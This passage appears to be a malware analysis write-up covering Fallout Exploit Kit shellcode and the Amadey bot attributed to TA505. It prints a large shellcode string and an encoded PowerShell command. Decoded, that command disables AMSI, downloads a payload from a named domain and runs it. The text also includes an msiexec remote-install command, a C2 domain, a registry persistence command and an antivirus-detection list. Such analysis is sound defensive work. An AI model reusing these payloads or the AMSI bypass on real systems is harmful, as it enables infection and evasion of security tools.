%u7CBC%uB9D1%uE819%uFE1C%uFFFF%u5959%uC033%u6850%u3000%u8080%u5050%uFF50%uEC75%u458D%u50B8%uFF53%uE855%uD88B%uDB85%u840F%u00B8%u0000%u046A%u75FF%u6AE4%u6A00%u5300%u55FF%u85E0%u0FC0%uA084%u0000%u8300%u1C65%u8D00%uDC45%u6583%u00DC%u8D50%u1845%u45C7%u0418%u0000%u5000%u458D%u501C%u0568%u0000%u5320%u55FF%u83D8%u187D%u7400%u8376%u1C7D%u7400%u6A70%u6804%u1000%u0000%u75FF%u6A1C%uFF00%uD455%u75FF%u8B1C%u0C4D%u006A%u8950%uFF01%uD055%u6583%u00CC%u458D%u50CC%u458B%uFF0C%u1C75%u30FF%uFF53%uC855%uFF53%uFFD6%u1475%uD6FF%uFF57%u83D6%u207D%u8B00%uFC75%u0474%u006A%uD6FF%u7D83%u0024%u0474%u006A%uD6FF%u458B%uFF0C%u1C75%u4D8B%uFF08%uE830%uFD52%uFFFF%u458B%u5910%uC759%u0100%u0000%uEB00%u5311%uD6FF%u75FF%uFF14%u57D6%uD6FF%u458B%u8310%u0020%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u8B56%u8BF1%u57DA%u7589%uE8FC%uFBF7%uFFFF%uF88B%u43BA%u1C04%u8B19%uE8CF%uFB83%uFFFF%u368B%u75BA%uB905%u8B28%u89CF%u1446%u72E8%uFFFB%u8BFF%uFC75%u51BA%u3209%u8B73%u890E%u1C41%uCF8B%u5EE8%uFFFB%u8BFF%uBA0E%u0614%u33F5%u4189%u8B08%uE8CF%uFB4D%uFFFF%u0E8B%u97BA%u8104%u891D%u8B01%uE8CF%uFB3D%uFFFF%u0E8B%u4DBA%u8505%u8927%u0441%uCF8B%u2CE8%uFFFB%u8BFF%uBA0E%u04E4%u2259%u4189%u8B0C%uE8CF%uFB1B%uFFFF%u0E8B%uD3BA%u7004%u891F%u1041%uCF8B%u0AE8%uFFFB%u8BFF%uBA0E%u047A%u1A1E%u4189%u8B18%uE8CF%uFAF9%uFFFF%u0E8B%uF3BA%u8503%u8915%u2041%uCF8B%uE8E8%uFFFA%u8BFF%u890E%u2441%u58E8%uFFFB%uBAFF%u028C%u08D8%uC88B%uD2E8%uFFFA%u8BFF%u6A0B%u890C%u8D01%uF045%u4D8B%u500C%u45C7%uC2F0%u8DE0%uC720%uF445%uB412%u37CD%u45C7%uEFF8%uF16B%uE8A4%uFC34%uFFFF%u5959%u0E8B%u558D%uE8F0%uFB2B%uFFFF%uF88B%u5DBA%u1006%u8B36%uE8CF%uFA91%uFFFF%u758B%uBA08%u0584%u29FB%u0E8B%u4189%u8B0C%uE8CF%uFA7D%uFFFF%u0E8B%u55BA%uC706%u8935%u1441%uCF8B%u6CE8%uFFFA%u8BFF%uBA0E%u078C%u4B92%u4189%u8B10%uE8CF%uFA5B%uFFFF%u0E8B%u55BA%u6406%u8936%u0841%uCF8B%u4AE8%uFFFA%u8BFF%uBA0E%u051D%u245C%u4189%u8B04%uE8CF%uFA39%uFFFF%u0E8B%u46BA%uC006%u8935%u8B01%uE8CF%uFA29%uFFFF%u0E8B%u5E5F%u895B%u1841%uC3C9%uECD7%u2182%uA319%u2DD6%u29FE%uCBFE%u5CE9%uB27D%u501A%uCF26%u6A47%u54FE%uDABA%u8A85%uEF83%u3361%u09D1%u20F7%u16EC%uD9B7%u917A%uDE1A%u2281%uEA7F%u3143%u6ACE%u1A52%u4FF4%u500B%uC276%u5A57%uC1F8%uE09A%u258F%uA209%u6BCD%u28EE%uE3E7%u2FD5%u8D28%u3568%uAE4A%u0623%u309B%u8E87%uE4E0%u8EF7%u5F02%u7AB4%u73DA%u7483%uB0D2%uBC0E%uB049%u40EE%u8610%u7665%u07AF%u7330%u3C80%u6436%uF745%u5A61%uC1F8%uBBE2%u5581%uF71D%u00A7%u7F8D%u4907%u11AF%uB565%uF4E6%u755E%u19EE%u23AF%u8DB6%uEB89%u2838%u11BF%uC109%u1219%uD17E%uBEEA%uDD49%uF759%u09D6%uEA08%u8E45%uB602%u1B93%u19C4%u9146%uB94D%u9E6C%u0BC7%u00E8%u0000%u5800%uE883%u2D05%u00C0%u0000%u00C3" &lIIII(IIIII("")))
	IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
	GetShellcode=IIlI
End Function

Let’s read shellcode.

Shellcode

The decoding algorithm in the shellcode has not changed from v3 and remains RC4. Analysis of Fallout Exploit Kit v3

The hash algorithm of API hash has not changed either. API hashed by the dualaccModFFF1Hash algorithm.

unsigned int __thiscall dualaccModFFF1Hash(unsigned __int8 *this)
{
  unsigned __int8 *v1; // ebx
  int v2; // edi
  unsigned int v3; // esi
  int i; // ecx
  unsigned int v5; // edx

  v1 = this;
  v2 = 1;
  v3 = 0;
  for ( i = zz_count(this); i; --i )
  {
    v5 = (v2 + (unsigned int)*v1++) % 0xFFF1;
    v2 = v5;
    v3 = (v3 + v5) % 0xFFF1;
  }
  return v2 + (v3 << 16);
}

However, there were interesting changes. Analysis environment detection codes has been added in shellcode.

VM Detection

Query hypervisor precense using CPUID.

unsigned int __thiscall zz_vm_detect(unsigned int *this)
{
  unsigned int *v1; // edi
  unsigned int result; // eax

  v1 = this;
  _EAX = 1;
  __asm { cpuid }
  result = _ECX >> 31;
  *v1 = _ECX >> 31;
  return result;
}

Process Detection

Get a list of running processes.

Convert process name to lower case.

int __cdecl zz_tolowercase(_BYTE *a1)
{
  int result; // eax

  while ( 1 )
  {
    result = (char)*a1;
    if ( !*a1 )
      break;
    if ( (char)*a1 >= 65 && (char)*a1 <= 90 )
      *a1 += 32;
    ++a1;
  }
  return result;
}

Compare to the following hashes. Once again, It uses the dualaccModFFF1Hash algorithm.

0x3F5406DE
0x25CD0541
0x0F050309
0x161803EC
0x19F3044B

Two process names were identified. I do not know the others.

>>> hex(dualaccModFFF1Hash("wireshark.exe"))
'0x25cd0541'
>>> hex(dualaccModFFF1Hash("fiddler.exe"))
'0x19f3044b'

Like v3, shellcode downloads, decodes and executes encrypted PowerShell code.

PowerShell

The PowerShell code to be executed is like this.

powershell.exe -w hidden -noni -enc dAByAHkAewAkAGwAMQBJAGwAMQA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQA7ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAD0AJABsADEASQBsADEALgBHAGUAdABUAHkAcABlACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFUAMwBsAHoAZABHAFYAdABMAGsAMQBoAGIAbQBGAG4AWgBXADEAbABiAG4AUQB1AFEAWABWADAAYgAyADEAaABkAEcAbAB2AGIAaQA1AEIAYgBYAE4AcABWAFgAUgBwAGIASABNAD0AJwApACkAKQA7ACQASQAxAEkAbAAxADEAbAAxAEkAbAA9ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAC4ARwBlAHQARgBpAGUAbABkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFkAVwAxAHoAYQBVAGwAdQBhAFgAUgBHAFkAVwBsAHMAWgBXAFEAPQAnACkAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAkAEkAMQBJAGwAMQAxAGwAMQBJAGwALgBTAGUAdABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AH0AYwBhAHQAYwBoAHsAfQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAIgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAEkAbABJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbABJAGwAMQBJADEASQBJADEAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAEkASQBsAEkASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbAAxADEAMQBsAEkAbAAxAEkAMQBJADsAfQBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABsAEkAMQBsAGwAMQBJAGwAMQBJADEAbAB7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAGwASQA7AHAAdQBiAGwAaQBjACAAcwB0AHIAaQBuAGcAIABJAGwAMQBsADEAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAAbABJADEAbABsADsAcAB1AGIAbABpAGMAIABzAHQAcgBpAG4AZwAgAEkAbAAxADEAMQBJAEkASQBsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQAxAGwASQBsADEAbABsADEASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbABJAEkASQBsADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAGwAMQAxAEkAbABsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBsADEASQBsAEkAbAAxADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJAGwASQBJAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAEkAMQBsAEkAbABJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJADEAbAAxADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJAGwAbAAxAEkAbAA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAASQBsAEkASQAxADsAcAB1AGIAbABpAGMAIABzAGgAbwByAHQAIABJAGwAbABJAGwAbAA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABsAGwASQBsAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbAAxAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbABJAGwAbABsAEkAMQBJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAASQAxAEkASQBJADsAfQA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABsADEASQBsADEAMQBJAEkASQB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoAHMAdAByAGkAbgBnACAASQBJAGwASQBJAEkALABzAHQAcgBpAG4AZwAgAEkAbABJAGwASQAsAEkAbgB0AFAAdAByACAASQAxADEAbAAxAEkALABJAG4AdABQAHQAcgAgAGwAMQBsAEkAMQAsAGIAbwBvAGwAIABJAGwASQAxADEASQBJADEAMQAxADEALAB1AGkAbgB0ACAAbAAxADEAMQBJACwASQBuAHQAUAB0AHIAIABsAEkASQBJADEASQBsAGwASQAsAHMAdAByAGkAbgBnACAASQAxAEkAbAAxAGwASQAsAHIAZQBmACAAbABJADEAbABsADEASQBsADEASQAxAGwAIABsAGwAMQAxAEkASQBsADEASQAsAG8AdQB0ACAASQAxAGwASQBJADEASQBsADEAIABsAEkASQAxAEkASQApADsAfQAiADsAJABsAGwAbAAxAEkAbABsAEkAMQA9ACIAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwATABvAHcAXAAkACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwApACsAKAA2ADUALgAuADkAMAApACsAKAA5ADcALgAuADEAMgAyACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4AHwAJQB7AFsAYwBoAGEAcgBdACQAXwB9ACkAKQAuAHQAbQBwACIAOwAkAEkAMQBsADEAMQBJADEAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAGEAaABlAHIAbwA0AHUALgBjAG8AbQAvADEAOQA1ADAALQAwADEALQAxADEALwBPADgAWgByACcAOwBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASgBHAE4AcwBhAFQAMABvAFQAbQBWADMATABVADkAaQBhAG0AVgBqAGQAQwBCAE8AWgBYAFEAdQBWADIAVgBpAFEAMgB4AHAAWgBXADUAMABLAFQAcwBrAFkAMgB4AHAATABrAGgAbABZAFcAUgBsAGMAbgBOAGIASgAxAFYAegBaAFgASQB0AFEAVwBkAGwAYgBuAFEAbgBYAFQAMABuAFMAagBVADMAVQBEAGwANQBNAFcAawB6AE0ARQAwAHgATQBEAEoAWQBOAFMAYwA3AEoARwBOAHMAYQBTADUARQBiADMAZAB1AGIARwA5AGgAWgBFAFoAcABiAEcAVQBvAEoARQBrAHgAYgBEAEUAeABTAFQARQBzAEoARwB4AHMAYgBEAEYASgBiAEcAeABKAE0AUwBrADcAJwApACkAfABpAGUAeAA7ACQASQAxAEkAMQBsADEASQBJAGwAbABJADEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbABJADEAbABsADEASQBsADEASQAxAGwAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBsAEkASQAxAD0AMAB4ADAAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBJAEkAbABJAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACkAOwAkAEkASQBsADEASQBsADEASQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQA7AFsAbAAxAEkAbAAxADEASQBJAEkAXQA6ADoAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoACQAbABsAGwAMQBJAGwAbABJADEALAAkAGwAbABsADEASQBsAGwASQAxACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAJABmAGEAbABzAGUALAAwAHgAMAAwADAAMAAwADAAMAA4ACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAIgBjADoAIgAsAFsAcgBlAGYAXQAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACwAWwByAGUAZgBdACQASQBJAGwAMQBJAGwAMQBJACkAfABvAHUAdAAtAG4AdQBsAGwAOwA=

Let’s decode and clean.

try {
    $l1Il1 = [Ref].Assembly;
    $l1Il1lI1IIl = $l1Il1.GetType("System.Management.Automation.AmsiUtils");
    $I1Il11l1Il = $l1Il1lI1IIl.GetField("amsiInitFailed", 'NonPublic,Static');
    $I1Il11l1Il.SetValue($null, $true);
}
catch { };

Add-Type -TypeDefinition "using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct I1lII1Il1{public IntPtr IIlI1;public IntPtr lIl1I1II1l;public uint IIIIIlII;public uint Il111lIl1I1I;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct lI1ll1Il1I1l{public uint IIIlI;public string Il1l1;public string lI1ll;public string Il111IIIl;public uint I1lIl1ll1I;public uint IlIIIl1;public uint ll11Ill;public uint Il1IlIl1;public uint lIlIII;public uint lI1lIlI;public uint lI1l11;public uint Ill1Il;public short IlII1;public short IllIll;public IntPtr llIlIlIlI;public IntPtr Ill1IlIlI;public IntPtr IllIlllI1I1;public IntPtr I1III;};public static class l1Il11III{[DllImport(""kernel32.dll"",SetLastError=true)]public static extern bool CreateProcess(string IIlIII,string IlIlI,IntPtr I11l1I,IntPtr l1lI1,bool IlI11II1111,uint l111I,IntPtr lIII1IllI,string I1Il1lI,ref lI1ll1Il1I1l ll11IIl1I,out I1lII1Il1 lII1II);}";

$lll1IllI1 = "$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp";
$I1l11I1 = 'http://beahero4u.com/1950-01-11/O8Zr';
$cli = (New-Object Net.WebClient);
$cli.Headers['User-Agent'] = 'J57P9y1i30M102X5';
$cli.DownloadFile($I1l11I1, $lll1IllI1);
$I1I1l1IIllI1 = New-Object lI1ll1Il1I1l;
$I1I1l1IIllI1.IlII1 = 0x0;
$I1I1l1IIllI1.IIIlI = [System.Runtime.InteropServices.Marshal]::SizeOf($I1I1l1IIllI1);
$IIl1Il1I = New-Object I1lII1Il1;
[l1Il11III]::CreateProcess($lll1IllI1, $lll1IllI1, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0x00000008, [IntPtr]::Zero, "c:", [ref]$I1I1l1IIllI1, [ref]$IIl1Il1I) | out-null;

Thus the malware is downloaded and executed.

Conclusion

Fallout has been heavily updated, making analysis very difficult. Very sophisticated techniques such as Diffie-Hellman key exchange, VM detection, process detection, etc. are used. We need to be careful as they may be updated in the future.

Amedey is installed by msiexec.exe when you open a malicious excel file. From the document file technique, the threat actor is considered TA505.

• Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently
• Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware

https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784

The download URL is as follows:

msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'

First payload

First payload is packed. Extract the original PE using the hollows_hunter mode of tknk_scanner.

Amadey

The dumped PE is compiled with MinGW.

PE: compiler: MinGW(-)[-]
PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32]

It contains symbol information. Amedey has the following functions:

_Z10aBypassUACv    
_Z10aCharToIntPc
_Z10aGetOsArchv    
_Z10aIntToChari    
_Z11aAutoRunSetPc
_Z11aCheckAdminv    
_Z11aCreateFilePc    
_Z11aFileExistsPKc    
_Z11aGetTempDirv    
_Z11aProcessDllPcS_
_Z11aProcessExePcS_S_S_    
_Z11aRunAsAdminPc    
_Z12aGetHostNamev    
_Z12aGetSelfPathv    
_Z12aGetUserNamev    
_Z12aProcessTaskPc    
_Z12aResolveHostPc    
_Z12aWinSockPostPcS_S_
_Z13aDropToSystemPc    
_Z13aGetProcessILv    
_Z14aCreateProcessPc    
_Z14aGetProgramDirv    
_Z15aUrlMonDownloadPcS_    
_Z16aDirectoryExistsPc    
_Z16aExtractFileNamePc    
_Z16aGetHomeDriveDirv    
_Z16aProcessDllLocalPcS_S_S_    
_Z16aProcessExeLocalPcS_S_S_    
_Z19aGetSelfDestinationi    
_Z5aCopyPcii    
_Z5aParsPcS_    
_Z6aBasici    
_Z6aGetIdv    
_Z6aGetOsv    
_Z6aMkDirPc    
_Z7aPathAVPc    
_Z7aRaportPcS_    
_Z8aCheckAVv    
_Z8aDecryptPc    
_Z8aPosLastPcS_    
_Z9aCopyFilePcS_    
_Z9aFileSizePc    
_Z9aFillCharPc    
_Z9aFreeFilePc    
_Z9aPosFirstPcS_    
_Z9aRunDll32PcS_

The main function is as follows.

int __cdecl main(int _Argc,char **_Argv,char **_Env)

{
  char *pcVar1;
  
                    /* 0x3ac8  97  main */
  FUN_00404020();
  FUN_00403cc0();
  _Z10aBypassUACv();
  pcVar1 = _Z12aGetSelfPathv();
  _Z13aDropToSystemPc(pcVar1);
  pcVar1 = _Z19aGetSelfDestinationi(0);
  _Z11aAutoRunSetPc(pcVar1);
  _Z6aBasici(0);
  return 0;
}

The _Z6aBasici function is as follows.

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void __cdecl _Z6aBasici(int param_1)

{
  char *_Source;
  uint uVar1;
  int iVar2;
  
                    /* 0x33fe  32  _Z6aBasici */
  FUN_00404020();
  _Z9aFillCharPc(&stack0xffffeff4);
  _Z9aFillCharPc(&stack0xffffddf4);
  _Z9aFillCharPc(&stack0xffffdbf4);
  _Source = _Z8aDecryptPc(&aDomain);
  strcat(&stack0xffffddf4,_Source);
  _Source = _Z8aDecryptPc(&aScript);
  strcat(&stack0xffffdbf4,_Source);
  _Source = _Z8aDecryptPc(&aParam0);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z6aGetIdv();
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam1);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aVers);
  strcat(&stack0xffffeff4,_Source);
  uVar1 = _Z11aCheckAdminv();
  if ((uVar1 & 0xff) == 1) {
    _Source = _Z8aDecryptPc(&aParam2);
    strcat(&stack0xffffeff4,_Source);
    strcat(&stack0xffffeff4,"1");
  }
  else {
    _Source = _Z8aDecryptPc(&aParam2);
    strcat(&stack0xffffeff4,_Source);
    strcat(&stack0xffffeff4,"0");
  }
  _Source = _Z8aDecryptPc(&aParam3);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z10aGetOsArchv();
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam4);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z10aIntToChari(param_1);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam5);
  strcat(&stack0xffffeff4,_Source);
  iVar2 = _Z6aGetOsv();
  _Source = _Z10aIntToChari(iVar2);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam6);
  strcat(&stack0xffffeff4,_Source);
  uVar1 = _Z8aCheckAVv();
  _Source = _Z10aIntToChari(uVar1);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam7);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z12aGetHostNamev();
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam8);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z12aGetUserNamev();
  strcat(&stack0xffffeff4,_Source);
  strcat(&stack0xffffeff4,"&");
  if (param_1 == 0) {
    do {
      _Z9aFillCharPc(&stack0xffffdff4);
      _Source = _Z12aWinSockPostPcS_S_(&stack0xffffddf4,&stack0xffffdbf4,&stack0xffffeff4);
      strcat(&stack0xffffdff4,_Source);
      _Z5aParsPcS_(&stack0xffffdff4,"#");
      Sleep(_aTimeOut);
    } while( true );
  }
  if (param_1 == 1) {
    _Z12aWinSockPostPcS_S_(&stack0xffffddf4,&stack0xffffdbf4,&stack0xffffeff4);
  }
  return;
}

Some important parameters are encoded. However, the encoding algorithm is very simple.

key is 8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7

Finally, we analyze the decoded string and the name of the function in which it was used.

• _Z11aAutoRunSetPc
  • AutoRunCmd : REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d
• _Z8aCheckAVv
  • AV00 : AVAST Software
  • AV01 : Avira
  • AV02 : Kaspersky Lab
  • AV03 : ESET
  • AV04 : Panda Security
  • AV05 : Doctor Web
  • AV06 : AVG
  • AV07 : 360TotalSecurity
  • AV08 : Bitdefender
  • AV09 : Norton
  • AV10 : Sophos
  • AV11 : Comodo
• _Z12aWinSockPostPcS_S_
  • CMD0 : <c>
  • CMD1 : <d>
• _Z11aProcessDllPcS_
  • dll : dll
• _Z7aRaportPcS_, _Z6aBasici
  • domain : gohaiendo[.]com
• _Z19aGetSelfDestinationi
  • DropDir : f64a428dfd
  • DropName : cmualrc.exe
• _Z11aProcessExePcS_S_S_
  • exe : exe
• _Z14aGetProgramDirv
  • GetProgDir : ProgramData\
• _Z10aGetOsArchv, _Z6aGetOsv
  • OS_AR0 : kernel32.dll
  • OS_AR1 : GetNativeSystemInfo
• _Z6aBasici
  • Param0 : id=
  • Param1 : &vs=
  • Param2 : &ar=
  • Param3 : &bi=
  • Param4 : &lv=
  • Param5 : &os=
  • Param6 : &av=
  • Param7 : &pc=
  • Param8 : &un=
  • Vers : 1.22
  • ZoneIdent : :Zone.Identifier
• _Z12aWinSockPostPcS_S_
  • Post0 : 1310
  • Post1 : HTTP/1.1
  • Post2 : Accept: /
  • Post3 : Content-Type: application/x-www-form-urlencoded
  • Post4 : Host:
  • Post5 : Content-Length:
  • Post6 : POST /
• _Z11aRunAsAdminPc
  • RunAs : runas
• _Z9aRunDll32PcS_
  • RunDll_0 : rundll32.exe
• _Z7aRaportPcS_, _Z6aBasici
  • Script : ppk/index.php
• _Z11aCheckAdminv
  • Shell : SHELL32.DLL
• _Z14aCreateProcessPc, _Z6aBasici
  • TimeOut : 40133-98-10017
• _Z15aUrlMonDownloadPcS_
  • URLMon_0 : urlmon
  • URLMon_1 : URLDownloadToFileA

Here is the simple python script.

'''
domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]
AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5, 0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95, 0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA, 0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5, 0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95, 0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0xA4, 0xC7, 0x97, 0xD6, 0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA, 0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66, 0x9C, 0x85]
AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2, 0xC9]#AV00
AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94]
AV02=[0x83, 0xC6, 0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92]
AV03=[0x7D, 0xB8, 0xA7, 0xB8]
AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4, 0xDD]
AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B]
AV06=[0x79, 0xBB, 0xA9]
AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2, 0xCD, 0xA8, 0xB2]
AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5]
AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7]
AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC]
AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8]
CMD0=[0x74, 0xC8, 0xA0]
CMD1=[0x74, 0xC9, 0xA0]
DLL=[0x9C, 0xD1, 0xCE]
DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D]
DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98]
exe=[0x9D, 0xDD, 0xC7]
